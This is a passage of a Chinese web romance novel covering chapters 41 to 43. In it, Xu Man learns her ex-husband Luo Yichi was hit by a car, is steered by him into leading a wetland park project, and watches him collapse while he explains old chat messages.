许满说:“我多么希望,我曾经没有遇见你。” 骆亦迟攥紧了门框。 他努力平复心中起伏的情绪,却发现,无论自己怎样努力,都平复不下去。 好难。 可能是因为生着病,他竟然有些不争气的,想要流眼泪。 他不敢回头,怕许满看见他的脆弱,深吸一口气,迈出了房门。 一瘸一瘸的,走路慢吞吞。 许满正要关门,却注意到骆亦迟的走路姿势,右腿看起来似乎无法伸直。 白天拽着自己跑的时候,还不是这个样子,他的腿怎么了? 是因为梁桓宇打的那一下? 许满内心一惊,等电梯下去,走到窗边,扒开一点缝隙。 22楼往下面看,只能看到很小的一点。 凌晨五点不到,天微微凉,物业保洁借着路灯昏黄的照明,打扫被风雨摧残一整晚的落叶。 骆亦迟跛着脚,一瘸一拐,缓慢行走其中。 快走到小区门口了,那个很小的人影忽地停下脚步,回头,往她这里看。 许满迅速合上窗帘,再打开,骆亦迟已不见了踪影。 心绪难安的回到卧室,折腾了一晚,许满累极了,躺回床上休息。 过了很久,好不容易合上眼,迷迷糊糊又被电话吵醒。 电话另一端,江淮很不友善的质问她:“许老师,骆亦迟被车撞了,你知道吗?”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 40-50 第41章 第 41 章 骆亦迟没死,但也快没气…… 许满一瞬间清醒, 差点以为自己听错了:“你说什么?” 江淮生气重复:“我说,骆亦迟被车撞了!就在华庭府小区门口, 你听清楚了没!” “你昨天到底对他做了什么,撞他的司机说他失落落魄的跟个游魂一样,人行道上是红灯都没看见,送去医院时还发着烧!” “你也是个老师,就算再狠心再绝情,对待一个发烧的病人, 正常人都会给点帮助的吧?你怎么就……大清早天都没亮就把他赶走,外面都还下雨呢!” 许满没想到会这样,怔怔开口:“骆亦迟他……怎么样了?” “没死!” 许满松了一口气。 江淮突然变得悲痛,“但也没多少气了。” 刚松的那口气又提起来, 许满脑子瞬间空了。 快没气了?这么严重? 她忙从床上爬起来跑去窗边看,慌乱之中差点被床边的拖鞋绊倒。 雨天的周末, 小区内户外活动的人不多, 门口那条马路看起来无事发生, 没拉警戒线, 没有警察, 也没医护人员, 跟平时没区别。 事故已经处理了? 还是压根就没事故?江淮其实是在骗她。 许满心头冒出疑惑, 江淮说:“在市医院, 你来看看他吧。” 电话挂断, 发来一张照片。 医院病床上, 骆亦迟被子盖得严严实实, 两个穿白大褂的医生在围着他转。 他脑袋上缠着绷带,双眼紧闭,一个医生拿着吸氧管悬在他鼻子附近, 不知是要拿走还是准备插进去,另一个医生仰头整理吊着的输液瓶,旁边的心电图仪被挡着,看不见屏幕上的心跳波动。 这是直接放弃抢救了?还是已经抢救完出来了? 许满是见过抢救场面的,远没有照片上这么应付自如,私人医院她不清楚,但骆亦迟被送去的明显是公立医院,抢救室里家属都进不去,更遑论拍照了!所以应该是在普通病房。 他在连城好歹算个人物,出车祸这么大的事儿,多多少少得有个新闻来报道两句吧。 打开今日新闻,结果,除了一条骆氏最近和市林业局达成合作的报道外,与他相关的新闻一个都没有。 许满合理怀疑江淮和骆亦迟串通好了在骗她!虽然照片拍得很像那么回事儿,但还是被她火眼金睛识破了! 无耻,居然还想用这种方式博她同情? 许满暗骂几句,嗤之以鼻的关掉手机,便不再想这件事了。 等到中午,她出去买菜,马路上一道崭新的刹车印引起了她的注意。 那印子又深又长,不想注意都难,许满眼睛不离看了好久,忧心忡忡走进卖菜店里,商贩老板正绘声绘色跟人讲述清晨的车祸。 “哎哟你没看见,撞老惨了,那会儿我正搬菜呢,就听嗤的一声,那年轻人霎时倒地滚出去三米来远!得亏肇事司机良心,吓得脸都白了也没跑,立马就叫了救护车来。” 许满心里咯噔一下,这说的难道是骆亦迟? 骆亦迟真出车祸了?没骗她? 许满忍不住插嘴问道,“被撞的年轻人是男女?严重吗?” 商贩语气极其夸张:“男的!瘸着腿,走路一点一点的,撞老严重了,满脸是血!” “瘸腿,满脸是血……” 所以照片上的脑袋才裹满绷带? 强烈的不安感涌上心头,许满神思恍惚讷讷重复,付完钱,魂不守舍回家了。 骆亦迟真的出车祸了?可是明明没有新闻在讨论啊? 会不会商贩老板说的其实另有其人?是跟骆亦迟一样瘸腿了的其他人呢? 许满皱着眉猜,重新点开江淮发来的那张照片,想从上面发现一点蛛丝马迹,来证明那满头绷带躺在病床上的人不是骆亦迟。 但画面上那高挺的鼻峰和冷硬的下颌线,即使是仰拍这样刁钻的角度,许满也能认出来,这人,就是骆亦迟。 骆亦迟他,真的出车祸了。 许满迟钝的,终于肯承认这个事实,心神剧烈震荡,一瞬间凉意爬上四肢,呼吸变得不稳,拿着手机的手猛烈颤抖起来。 她后悔把骆亦迟赶走了,如果不赶走他,他就不会出事。 她只是拒绝他,不愿接受他的爱意而已,他怎么就出事了呢? 她为什么要说那样狠心的话? 他会死吗? 他千万不要死啊,她从没想过让他死…… 可是如果他死了…… 如果他死了,她一定会自责内疚一辈子,永远无法原谅自己…… 许满脑海里不停上演各种悲剧画面,心中像是压着一块沉重巨石,心神不安的陷入了胡思乱想。 炒锅滋滋滋,冒出浓烟,鼻尖嗅到糊味时,她才回神,手忙脚乱赶紧关了火。 内心忐忑紧握着手机从厨房出来,许满犹豫,到底该不该去探望骆亦迟。 于情于理都该去的,可是去了,撞见那些人怎么办? 不去又不合适…… 许满忧思如焚,良心不断谴责,最后给江淮去了个电话。 “我还以为许老师你的心是千年寒冰做的,就准备这么不管不问了呢。” 电话一通江淮就出口讽刺,许满一心担忧骆亦迟,没听进去那些话,小心询问骆亦迟的情况。 江淮的情绪比早上冷静了许多。 “骨折加脑震荡,刚醒时非拉着我说是他自己不小心,跟你没任何关系。但我看过肇事司机的行车记录仪了,是他右腿膝盖受伤,没来得及避让,才被撞上的。” “膝盖?”许满捏着手机,双手不自觉攥紧。 “对,膝盖。许老师你还不知道吧,你那小男友打他时没留力,他的膝盖差点骨裂,膝弯那里现在还是一大片淤青。” 江淮说着说着就咬牙切齿,后悔没替骆亦迟还手教训那小子。 “除了秘书赵靖闻,他没告诉其他任何人他出事了,怕你自责内疚,他连你都不准备告诉,但我这人嘴快,他还没醒我就通知你了。他知道后还期待了很久你会来看他,特别嘱咐我,千万别让他爸妈和其他人知道,因为他怕你来时撞见那些人会不开心,所以干脆谁都没通知了。” “哦,那他……严重吗?”许满咬唇道。 江淮:“许老师,他现在醒着呢,你自己问他吧。” 许满下意识拒绝:“我不……” 江淮放缓声音:“你打电话来不就是担心他?他一直睁眼听着呢,你就算人不来,跟他说几句话总行吧?就当是可怜他,行不?” 江淮打开免提。 听筒那边安静了几秒钟,传出一阵窸窸窣窣的声音。 “许满……” 骆亦迟的嗓音虚弱无力,像含着干涩粗糙的沙石,听起来比昨晚在走廊撞见时还要憔悴。 可能是因为内疚,许满心里不可避免的闪过一丝波动。 停顿良久,她诺诺开口:“骆亦迟,你……还好吗?” “嗯……我没事,你不要担心。” 许满便放下心来。 两厢无言,电话两端沉默的蹿出电流声,许满捏着自己的手指,低声说:“既然没事,那就好好养病吧。” “嗯。” “我很忙,就不去看你了。” 嘟嘟——,挂了电话. 秋末,连大的硕导遴选结果下来,许满很荣幸通过遴选,进入了公示阶段。 她对这个结果大大意外,还是讲师呢,就有带研究生的资格了,简直不要太惊喜。 樊华说:“今年学院里新招的这批教师,资历优秀的寥寥无几,你能通过一点都不意外。” 这份夸奖有点大了,许满不好意思的拢拢耳边碎发:“樊主任您过奖了。” “马上要成为硕导了,科研也得跟上,不然以后学生看你没价值,都不想选你。”樊华说话很直接,“你手里现在有比较好的课题吗?” “没有,都是一些小课题,校级的,大家都知道的那些,经费不多。” “是哪些呢?给我说说?” 许满将自己手中的课题一五一十道来。 樊华听完,啧啧嘴,发愁道:“这些对你将来评职称帮助不大啊,横向课题有留意过吗?只要课题能落地,有意义,学校基本都会认可,是有机会可以拿来评职称的。” 许满摇头,“没留意过,那都看关系,我没人情关系,就没考虑过,一直都将重心放在省课题和国家课题上面,最近有了几个新点子,打算来年的省社科省自然,国社科国自然都申报试试。” 樊华很欣赏许满上进的态度:“院里一直鼓励跟外面所合作,开展横向课题,你要是有想法,我帮你争取争取,有的话带着你做做,就当赚外快了。” “真的?”许满眼睛一亮。 她一没人脉二没资源的,从没考虑过跟外面合作,也就不觉得这种好事能轮到她。 樊华这么一说,她激动的差点抱住樊华,“主任,您不嫌弃我真是太好了主任!” 樊华:“先别高兴太早,我就帮你留意而已,企业会审查教师资历的,能不能合作下来,还不确定。” 许满笑嘻嘻:“没事没事,主任,得失心没那么重,很佛的,有就有,没有就没有,不强求。” 光是评上硕导,就已经够她开心好久了,所以外快什么的,随缘吧! 梁桓宇一语成谶,说她能当硕导,果然就当上了。 她想把这个好消息分享给他,但又不知道该如何开口。 自从那天拒绝他之后,这孩子就没找过她了。 许满点开微信,对着梁桓宇的头像发了会儿呆,打开他的朋友圈。 朋友圈半年可见,半年的时间线里,只有8月初发布了一条动态,是一张自拍,梁桓宇搂着大黄在她家花坛边上,一人一狗笑得灿烂,跟背景里的花儿一样。 明明才过去不久,前后不过三四个月,许满却恍惚觉得,和梁桓宇相处的那一个月已经是很遥远的记忆。 他现在的直播应该做得很好了,许满想着,登上短视频账号,打开了梁桓宇的主页。 账号里今天刚更新了一条视频。 ——工作室正式完工,今天搬进来啦! 视频里的工作室里看起来有四五十平,直播设备占了一大半面积。 梁桓宇的画外音响起:“以后直播就都在这里做啦!” 许满看完想点个赞,犹豫片刻又收回手指,退出去切到了自己的主页上。 有消息提示,点开,是粉丝的催更。 用户A隔几天就会发消息问她。 【主播怎么不直播了?】 【主播最近好吗?】 【秋凉,主播记得添衣。】 【不知道今年能不能再看到主播。】 许满没开短视频通知,现在才看见,便回复:【工作忙,没时间做直播。】 用户A好像随时拿着手机在冲浪,秒回:【工作忙就不要直播了,多休息。】 许满:【上次你刷的礼物,我拿着心里过意不去,你微信号是什么?我加你好友退你吧。】 用户A在那边敲敲打打输入半天,才回:【送出去的礼物,就不收回了。】 许满哪好意思:【无功不受禄,或者你发我银行卡号,我转给你。】 用户A又在那边又输入好久:【主播若是觉得不好意思收,就跟我聊会儿天吧,就当我买了你的时间。】 许满:【聊什么天?】 用户A:【你的烦恼,你的快乐,都可以聊。】 许满:【我最近没有烦恼,只有快乐。】 用户A:【因为什么事情快乐?】 许满:【一直烦我的那个家伙,因为要养病,已经半个月没来烦我了,哈哈哈哈。】 消息已读,用户A不说话了。 这之后的星期天,许满在家里倒弄花草,突然收到樊华通知,要她来办公室一趟,有个项目看上了她,点名要她参与。 许满惊喜的换好衣服,马不停蹄来到学院办公室,院领导也在,见她来了,笑眯眯的递上一本项目计划书。 院领导直明来意:“市林业局公开招标了一个湿地公园项目,有大企业中标后注了资,要找我们一起合作,搞生态重建,点名要许老师你来执行。” 许满呆住,而后震惊:“我?” 院领导欣然笑笑:“对,你,对方看过相关老师的简历,唯独许老师你在读博时做过类似项目,所以就指定了许老师你来主导。” 许满受宠若惊:“……啊?主导?” 竟然是主导?不是打下手? 读博时确实跟博导做过一个湿地生态重建的课题,一年内项目就落了地,但那个课题比这个小多了。 “我不行吧,这么大个项目,我手下都还没学生,做主持人有点难……” 院领导含笑鼓励:“那都是小事,这个项目很适合做课题,企业那边给的经费也很高,比其他课题经费至少多出一个零,相当于白送你的。我都想要,但林业局那边说什么都不给,你拿着这么大个课题,还愁没学生来吗?” 樊华也跟着劝:“缺人的话找我要就行,快拿着吧,机会难得,许老师应该抓住才是。” “……好吧。” 许满既惊讶又惊喜,实际惊讶多过惊喜。 不是不情愿,就是这沉甸甸东西,根本不是什么项目计划书,而是任重而道远的重重压力啊。 许满不住感慨,自己何德何能,这么肥厚一个大课题从天而降,就落她身上了? 是应该感谢博导远见,提前栽培了她;还是该感谢院领导赏识,还是该感谢企业方的信任。 总之,当她翻着一张张计划书认真阅读时,只能告诉自己,翻的不是计划书,是经费!是钱!才不至于头疼的差点把电脑给砸了。 隔天,许满在合作意向合同书上签好名字,来找林业局的对接人商讨细节,顺便到湿地公园实地考察。 对接人庄克一边带着她参观,一边向她介绍湿地公园的基本情况,以及局里的规划思路,和未来想要呈现的面貌。 许满认真听着,走到湖边的木栈道上,庄克拿走合同,借口要去盖章,让许满先就地参观参观。 许满让庄克去忙,自己沿着木栈道四处溜达。 行至观景台,忽然撞见一个坐着轮椅的男人。 男人背对着她,似在眺望远方,没注意到身后来了人。 湖边微风扬起男人的发丝,那背影看起来孤寂落寞,莫名还有些眼熟。 许满不禁多看了会儿。 “……” 是骆亦迟。 他出院了?什么时候出院的? 怎么不在该在的地方,跑这里来了? 啊,一好起来就阴魂不散呐,许满心想。 刚要悄悄转身遁走,蓦地,一小段回忆闪过脑海。 骆亦迟出车祸那天,她在网上搜索相关消息,好像有条新闻说过,骆氏和林业局达成了一项合作。 “……” 不会这么巧,就是这个湿地公园项目吧? 第42章 第 42 章 供词。 轮椅转过来, 露出打着石膏的右腿。 骆亦迟面带微笑看着许满。 四目相对,许满脸上的惊讶还未完全散去:“你在这里……?” 话还没说完, 骆亦迟抢话接道:“等你。” 秋风拂面,栈道边的芦苇荡随风摇摆。 许满原地挪动了一小步,视线下垂,微黯的目光落在骆亦迟的右腿上。 “你的腿……” “快好了。” “哦,那就好。” 轮椅缓缓靠近,骆亦迟仰面, 望向许满时,眉眼间是毫不掩饰的希冀,“你是在关心我吗?” 许满被看得低下头来,“你在我家门口出的事, 我关心你是应该的。” “这就够了。”骆亦迟用只有自己能听到的声音说。 “那天,梁桓宇他……他不是故意的。”许满抿唇, 轻声为梁桓宇开脱。 骆亦迟的声音听起来很平静, “不怪他, 是我有错在先, 我该受的。” “哦, 哦……” 许满木讷的点点头。 午后的阳光撒在湖面上, 风吹涟漪, 粼粼波光仿若满天星河。 许满踌躇了会儿, 还是问出了心中的那个疑问。 “是你指定我来主持这个项目的吧?为什么?” “许满, 你总是喜欢问这些问题, 以你的聪明, 应该早就知道问题的答案。” 许满垂眸:“骆亦迟,我有男朋友了。” 男朋友?骆亦迟眸光有一瞬间暗了下去:“我知道,这并不妨碍我们合作。” “我们这样, 我男朋友会多想的。” “只是正常的工作而已,你男……朋友,应该不至于这么小心眼。” “可是,这终归不合适。” 骆亦迟颔首,指尖抚上婚戒,那枚戒指因为戴的时间够久,金属戒面上早已遍布划痕,有几道触感非常清晰,就像她和许满的感情,沟壑嶙峋。 “许满,我不否认我有私心,但我只是向庄克他们推荐了你,具体用谁,是他们决定的。” 言外之意,他只不过是牵线的人而已。 许满不置可否。 昨天在学校,一听是林业局的项目,她就盲目觉得可靠,只囫囵看了一眼合同上的注资企业,是个没听过名字的公司,就没去细查那个公司的情况。 后悔了。 早知道对方是骆亦迟,她无论如何都要退避三舍。 身后的木栈道传来噔噔噔的声响,赵靖闻迈着大步走来。 经过许满,他点头向她问了声好,然后将一沓合同和一个公章交给骆亦迟,“庄主任去找你了没找到。” 骆亦迟翻开合同,找到需要扣章的那一页,看都没看就把章按了上去。 “让他在茶楼等我。” 许满暼见合同封面上的名字,可不就是刚刚从自己手里离开,交给庄克的那几份? “你就不怕我把项目搞砸?”她问。 “不怕,我相信你的能力。”骆亦迟说。 他很清楚许满为学业付出过怎样的努力,自从收到那张银行卡的消费信息开始,许满生活的点点滴滴,他都看在眼里。 他那时候就想去找许满,但怕打扰她的学业,只能拼命忍着找她的冲动,不敢出现,一直等到许满毕业,骆氏安稳,他才抵不过思念,下决心去找她。 他很清楚许满的能力,所以相信她,不然不会在听说这个项目的第一时间,就低价中标,双手把钱送上来跟林业局谈合作。 甚至为了让许满放下戒备,还特意注册了一个新公司,被杜曼玲和骆彦怀摔杯子愤怒指责,说他被情所困拎不清,被骆氏高层不理解,抱怨他太冲动没远见,但他就是要一厢情愿,做这件吃力不讨好的事。 只为了能跟许满联系在一起,一切值得。 赵靖闻将合同和公章都收好,向许满邀请道:“许老师,骆总和庄主任请您去茶楼坐坐。” 合同已经签字盖章,再推脱已是不可能,许满还是有契约精神的,心里不停默念,这是给学校赚钱,给自己赚钱,财神爷拿着钱送上门,哪有不接的道理?得双手摊开举过头顶接着才是,于是硬着头皮,跟上了赵靖闻的脚步。 赵靖闻推着骆亦迟,她在后面跟着。 走过木栈道,往前,是一座现代风建筑的两层小茶楼。 赵靖闻把骆亦迟推进茶楼,没上二层,直接拐进了一间不大不小的包间。 包间中央放着一张木质四方茶桌,桌上茶壶蒸汽袅袅,庄克正坐在边上围炉煮茶。 骆亦迟坐着轮椅进来,这个看起来还算宽敞的包间瞬间变得拥挤,快要转不过身了。 赵靖闻扶骆亦迟坐上桌,推走轮椅,换了两根拐杖来,房间里少了个占地方的大件,才觉得透过气来。 许满也落座,赵靖闻离开,包间门被带上。 庄克给每人斟了杯茶,互相介绍:“骆总,这是连大的许满老师。许老师,这是骆氏的董事长,骆亦迟。刚才看你们在湖边聊,想必已经认识了。” 许满没驳庄克面子,刚才不就他把她引到骆亦迟跟前的吗?怎么现在还装上了? 许满客气笑笑:“认识,当然认识。” 介绍完,庄克开启了话题。 大致需求庄克已经说过,许满将自己的想法简单阐述了下,庄克听完,颇认同的点了点头。 骆亦迟没发表意见,就说:“跨专业了,我不懂,全听二位的。” 管他懂不懂,许满自动忽略他,和专业对口的庄克交谈起来。 半壶茶喝完,庄克谈的差不多了,借口还有事,告辞去忙别的。 许满跟着站起来也要走。 然而前脚庄克刚离开,后脚骆亦迟推开椅子,拄着拐一点一点,三步走到门口,背靠门板,将这间小房间唯一的出口给挡住了。 许满蹙眉,脸上染上不悦,不知道骆亦迟又在憋什么坏事儿,鉴于他所犯前科数不胜数,说话也不管文明不文明了,张口就是:“骆亦迟,听过一句话吗?好狗不挡路。” 骆亦迟免疫了似的,眼睫下垂,看向地面:“我出来的时间不能太久,一会儿还得回医院,你能再陪我坐会儿吗?就一会儿,我有话对你说。” 许满还是一如既往地拒绝:“不要,我跟你无话可说。” 骆亦迟并不意外:“不用紧张,我不会对你做什么,只是有点误会我必须澄清。” 他从口袋里掏出手机,“在医院我一直想,是什么让你突然再次拒绝我,后来想了很久……” 骆亦迟扯出一个称不上好看的笑:“脑震荡后我思维经常出现混乱,记不起来事,也就前两天才恍恍惚惚想起来,应该是那晚你打开我手机时,看到了一些你不喜欢的信息。” “我一直没换手机,里面的记录都还在。”他将手机送到许满面前,眼神恳切,语气恳求,“你能看看吗?密码你知道的。” 许满神色漠然垂着手,敛目不去看那部屏幕炸裂得如风蚀壁龛一般的手机。 骆亦迟保持一个姿势举了很久,没一会儿,手机微微晃动起来,他站得不稳,调整了下站姿。 “死刑犯也有辩护的权利,就算呈堂供证,法官也必须要看一眼的。” 他固执举着手机,胳膊渐渐发酸,但许满就这样冷漠的站着,不说话,不看他,也不去拿那部手机,大有这样跟他耗到底的意思。 他心里百转千回,有千万句话,但只能这样等着。 站久了,右小腿骨缝里析出丝丝缕缕的疼来,顺着骨髓,攀上腰肢,带动他整个身子发酸发麻。 他心里大叫不好,头跟着发起了晕,这该死的脑震荡不知道什么时候才会好,一天不难受个两三次就不罢休。 快举不动那台手机了,在胳膊开始发抖前,骆亦迟颓败垂下了手臂。 眸中还燃着希望,他还心存一丝侥幸,侥幸许满会给他一个陈词的机会。 于是忍着不适,在脑子变得混沌以前,犯罪的男人开口陈述: “那天晚上我在你家门口,廖延突然跟我说,池柠怀孕了。” “他们两个在一起半年了,孩子是廖延的。” “狗仔把撰好的报道发给了廖延,威胁廖延,要把他和池柠的事情爆出来。池柠绯闻男友不少,但从没爆出来过怀孕。她刚拿奖没多久,怀孕的事一旦曝光,事业必受影响,廖延就找到我,问我有没有办法。” “他就是想跟我借钱。” “狗仔狮子大开口,开价高得离谱,他没钱把这条新闻买下来,要跟我借。” “我同意了,跟他签了借款合同,利息六个点。” “池柠知道后,跟我讨价还价,想让我抹掉点利息,我没同意,后来还劝她跟廖延好好过。” “这就是事情的始末。” 骆亦迟捡重点一口气说完,仿佛抽干了身上所有的力气。 许满依旧无动于衷站着,可如果骆亦迟这时候抬头看,会发现许满眼眶早已泛红,里面蓄着一层薄薄水光,一滴泪强忍着,欲滴未滴的挂在下睫毛上。 “你跟我说这些做什么呢?我又不想听。” 开口时腔调染上了鼻音。 骆亦迟拇指在粗糙的手机屏幕上缓缓摩挲,无力而酸涩的坦白:“我想给自己争取一个减刑的机会……” 腿好疼,快没有力气站着了。 头好晕,没有余力来清晰思考。 脑仁像被一只大手紧紧攥着,疯狂挤压,要把一些记忆和感知都挤出去。 身体沁出密密麻麻的汗,膝盖重心偏移,左腋夹着的拐杖支撑不住身体的重量,缓缓往下倒去—— “骆亦迟!” 许满终于有所动作,在骆亦迟倒下的那一刻,她冲到跟前,站定在他面前,似是想要托住他。 但骆亦迟没有时间高兴,他的视野变得模糊,勉强挤出一点意识,却姿态卑微的,将手机尽力送到许满面前。 变亮的屏幕左上角有漏夜,黑了硬币大小的一块地方,以那里为起点,几道红绿蓝黄的竖线趴在屏幕上,骆亦迟与池柠的聊天记录就在这样花花绿绿的界面里躺着,大咧咧的向外展示。 消息停留在二十二天以前。 【既然有孩子了,就收收心,跟廖延好好过吧。】 【如果我和许满没离婚……】 【算了,没有如果,我这样的人,她离开是对的】 【这几年浑浑噩噩,明白了一个道理】 【珍惜眼前人】 【你怀孕的消息不会爆出来,我已经让廖延花钱买通狗仔,钱先借给他,以后连本带利从他分红里扣。】 许满望着那斑驳的屏幕,四四方方的文字被碎裂的屏幕割开,却并不分离,拼死也要组合在一起——是骆亦迟努力呈给她看的“供词”。 她机械的后退了一小步。 骆亦迟祈求的声音非常低微,回荡在小小的茶室里,不仔细听,都听不见。 “许满,我要怎样做,你才会融化,把心再次给我呀?” “许满……” 他竭力抬起眼皮,痴痴盯着眼前人的裤脚,叫着她的名字,像死刑犯在乞求最后的宽恕。 然后,眼皮失去支撑力量,合上了。 第43章 第 43 章 深渊。 “你这秘书怎么当的?不看他的情况吗?就这样纵容他胡闹, 还跑去那么远的地方!” “他到底受什么刺激了?怎么会晕倒?” “老张你也是,在骆家待了二十来年, 这才几年的功夫你就换主了?你是看我退休了不行了,仰仗上年轻的了是吧?骆亦迟让你干什么就干什么,明天他上刀山你是不是也要跟着一起上啊?” “还有这医院,哼!还私人的?到底抵不上公立,竟然允许住院病人随意外出!我看这儿的医生全都是吃干饭的!一个个拿着高薪,区区一个脑震荡都看不好!” 骆彦怀挨个数落完, 愤怒的往沙发上一坐,招手让私人医生沈诚漓过来,强压下怒火对他说:“我记得你有个好友是全国有名的神经科专家,这几年还有联系吗?我想让他过来给小迟看看。” 沈诚漓:“有的, 不过他忙,不确定能不能请过来。” 骆彦怀一听急眼了, “这骆亦迟给你们都灌了什么迷魂汤?他让你朋友来, 你朋友第二天就飞来了, 给人看病一看就是四五天。我请让他来, 还没搭上话呢你就告诉我请不过来。那你帮我想个办法, 小迟这样得怎么弄才行?” 沈诚漓还以为骆彦怀不知道三年前那件事呢, 心虚的赔笑道:“术业有专攻, 我是个杂家, 小迟这样估计是神经方面的问题, 还是得请个神经科专家来给他看。” 骆彦怀鼻子一哼, 捏拳锤了一下沙发扶手, “你不是不帮我请?” “我是说难请,没说不请。” 说着沈诚漓翻出陈良骏的电话就拨了出去。 等待接通过程中,他又说:“那次小迟托我联系陈良骏帮忙, 陈良骏隔天有排班走不开,怎么说都不同意过来。后来小迟跟我要了他的电话和地址,自己去求的。” 电话通了,沈诚漓寒暄了几句,将电话双手递给骆彦怀。 手机举上耳朵,骆彦怀不自觉放下身段,自报家门道明来意。 “你好陈医生,我是骆彦怀,你老同学沈诚漓的雇主。我现在遇到点棘手的事想拜托你,你看你有空吗?” 对面一口回绝:“没空。” 骆彦怀将手机从右手换到左手,端正坐姿扶着额头,语气十分恳切的继续说:“是这样的,我儿子生病了,经常头晕昏迷,听说你是这方面专家,所以才来找你。他人你认识的,叫骆亦迟,三年前一个夏天,他求你给人看过病。” 提起骆亦迟,陈良骏印象深刻,生硬的语气因此缓和下来,“他啊,我记得,就那个为了给岳父求医,宁愿被其他病人家属打骂诅咒,也要让我去给看病的那个小伙子是吧?” 骆彦怀眉头一皱,“被病人家属打骂诅咒?” “求人总得付出一些代价,你儿子在这方面就很懂。” 陈良骏赞许,后面娓娓道来。 “我记得可清楚了,那天他一直给我打电话,把我手机打得都没电了,晚上下班回到家,他突然出现在我家门口,说自己大老远从非洲赶来,让我去外地帮人看个病。” “我管他从哪儿来的,天一亮我还要坐诊,那么多病患等着呢,哪能为了他不管其他人?他啊,就不知道从哪儿弄来了我那些病患的信息,挨个上门去求人家,求人家把看病时间往后推。我隔天早上进诊室,登上电脑系统一看,发现挂好的号都取消了,这我才把时间空出来,为他专门跑了一趟。对了,我还记得那病人呢,中暑昏厥,姓许。” “他跟我一道去的,我问他是不是怕我中途跑了,他说不是,他跟着我是为了偷偷看个人,他担心那人,想看她有没有事,没事他才放心。路上我问他怎么把那些病患给说通的,他说就给了点钱。其实我哪会儿不知道啊,都是好不容易挂上的号,有些还是外地来的,哪能随便退了?他鼻血流了大半天,里面的衣服脏兮兮的,撕坏好几处,一看就没少挨打,但外套穿得倒是规整,都用外套挡着呢。” “那姓许的病人确实严重,后来我给他看完病,再回去坐诊,那些重新挂上号的人来找我,跟我聊起来,乐呵呵的说有个疯子把他们以后他们看病的花销都给包了,一直包到入土呢,但他们对这个疯子并不心存感激,他们咒他,咒他死,咒他也得这病。但他们都不知道,骆亦迟这小子身上有股无所谓的劲儿,他压根就不在乎人家怎么咒他,他说咒他死的人多了去了,不在乎多那几个。” 骆彦怀脸色渐渐凝重。 虽说是科学时代,不相信什么诅咒,但如今骆亦迟脑部出现问题,他竟然荒唐的认为这不是巧合,而是那些咒他的话正在他身上应验。 何至于为许满做到这种地步?这完全是不把自己当一回事了。 他突然有些后悔当初答应开给骆亦迟的条件,放任他胡来了。 清清嗓子,骆彦怀说:“陈医生,骆亦迟他现在急需好的医生为他诊治,你能屈尊来一趟吗?不管什么代价,我都愿意付给你。” 作为一个父亲,他希望儿子得到最好的治疗,健健康康的醒来。 至于儿子曾付出的代价,他也愿意付出同等的。 陈良骏问:“哦?他生的什么病?” 骆彦怀发愁的捏捏眉心,“不久前出了场车祸,脑部受到撞击,说是脑震荡,但二十多天一直没好,现在又受了点刺激,昏迷了。” “脑震荡可大可小,有检查报告吗?” “有,我这就发你。” “好,你先发来,他在哪家医院?正好明天我要去连城出差,可以见一面。” 骆彦怀闻言大喜,“太好了!你几点的航班,我派司机去接你!” “不用,我有人接了,你帮我转告一下沈诚漓,老朋友太久没见了,我想跟他好好说说话呢。” 结束通话,骆彦怀心里总算踏实了,把手机丢还给沈诚漓,啧嘴道:“你那老同学可比你靠谱。” 沈诚漓在整理骆亦迟的病情资料,整理好发给陈良骏,“我说了术业有专攻,他是个行家,不一样。” 骆彦怀点点他:“你倒是不接受一点不好听的话。” 说话间,病床上传来一声难耐的呻_吟。 骆彦怀闻声两步跨到病床边,骆亦迟正晃动脑袋幽幽转醒,费好大劲儿才把眼睁开。 没有焦距的眼睛在骆彦怀脸上停留了半晌,等视线缓缓聚焦,骆亦迟才反应过来眼前这具苍老的面容是谁,哑声说:“爸……你怎么在这儿?” 骆彦怀只关心:“还头疼吗?” 骆亦迟眉间皱成一团,揉着额角,诚实道:“有点。” 不仅疼,还晕乎乎,雾蒙蒙的。 这段时间一直这样,一醒来,脑袋里就混沌一片,支离破碎的记忆漂浮其中,要花好长时间才能将它们聚在一起串联起来,拼凑成一段完整的。 但是有些却怎么都弄不好。 昏倒前在做什么来着?记不清,偶尔一个片段闪过,是在跟许满说话。 说了什么? 对了,好像是在自证一件事。 是这样的,自证完他还问了许满一个问题。 许满回答了没? 不记得了。 骆亦迟拍脑袋去想。 “干什么呢?你才刚醒。”骆彦怀着急阻止,将他的手按下。 “忘了些事,拍一拍,或许能想起来。” “你当自己是八十年代老电视呢,拍一拍就有画面了?什么要紧事非得现在想,先休息,过几天没准你一提就能回忆起来。” “就是要紧事,对我很重要的事。”骆亦迟执着强调。 关乎他的后半生,他必须得想起来。 然而老天爷像是专门跟他作对,他想了半天,想起湖边的等待,想起自己的陈述,想起那台破损的手机,但许满的回答,却一点思绪都没有。 偏偏还是对他很重要的一段记忆,怎么就想不起来呢? 真讨厌,这样脑袋空空的自己,跟个白痴一样,什么用都没有。 许满没在,房间里只有骆彦怀,赵靖闻,老张,和沈诚漓四个人。 骆亦迟慢慢坐起来,视线略过他们,在房间里扫过,想找出一点许满来过的证据。 骆彦怀看他动作,问:“找你妈吗?她一会儿就来了。” “我妈?” “你出住院这么大的事儿,她能不来吗?你还瞒着我们,过了这么久才让我们知道,是怕我和你妈担心所以不说吗?” 骆彦怀不责备他,只为他这副病恹恹的模样感到心疼,“这几年你谁都不放在眼里,家也很少回,我还以为你心性变了,但通过这件事情来看,你还是那个你,这么做只不过是不想让我们做父母的担心。好孩子,知道你孝顺,但以后不能这么做了,耽误了治疗,会后悔一辈子的。” “许满呢?”骆亦迟听不进那些絮叨,抬眼,灰蒙蒙的眸光闪着一丝希冀,固执的只在意一件事,“她来过吗?” 骆彦怀嘴角缓缓压下,沉声道:“她没来,但她给我打了电话,我到那间茶楼时,她已经走了。” 原来是许满通知你们的。 知道许满不会在意,但得到确切答案的那一刻,还是不可避免的失落。 骆亦迟伸长脖子躺直了,闭上眼发出一声长长的叹息,心里满满的全是酸楚,直抵喉咙,咽都咽不下去。 这时,病房门吱呀一声,被人推开了。 杜曼玲风风火火跑进来,将包往老张手里一扔,扑向病床,张嘴就是一声不见眼泪的干嚎:“儿啊,这才多久不见,你怎么就把自己弄成这样了呢?” “这腿以后还能恢复吗?怎么弄的啊这是?听说还脑震荡了,快让我看看,你还认得我不啊儿?” 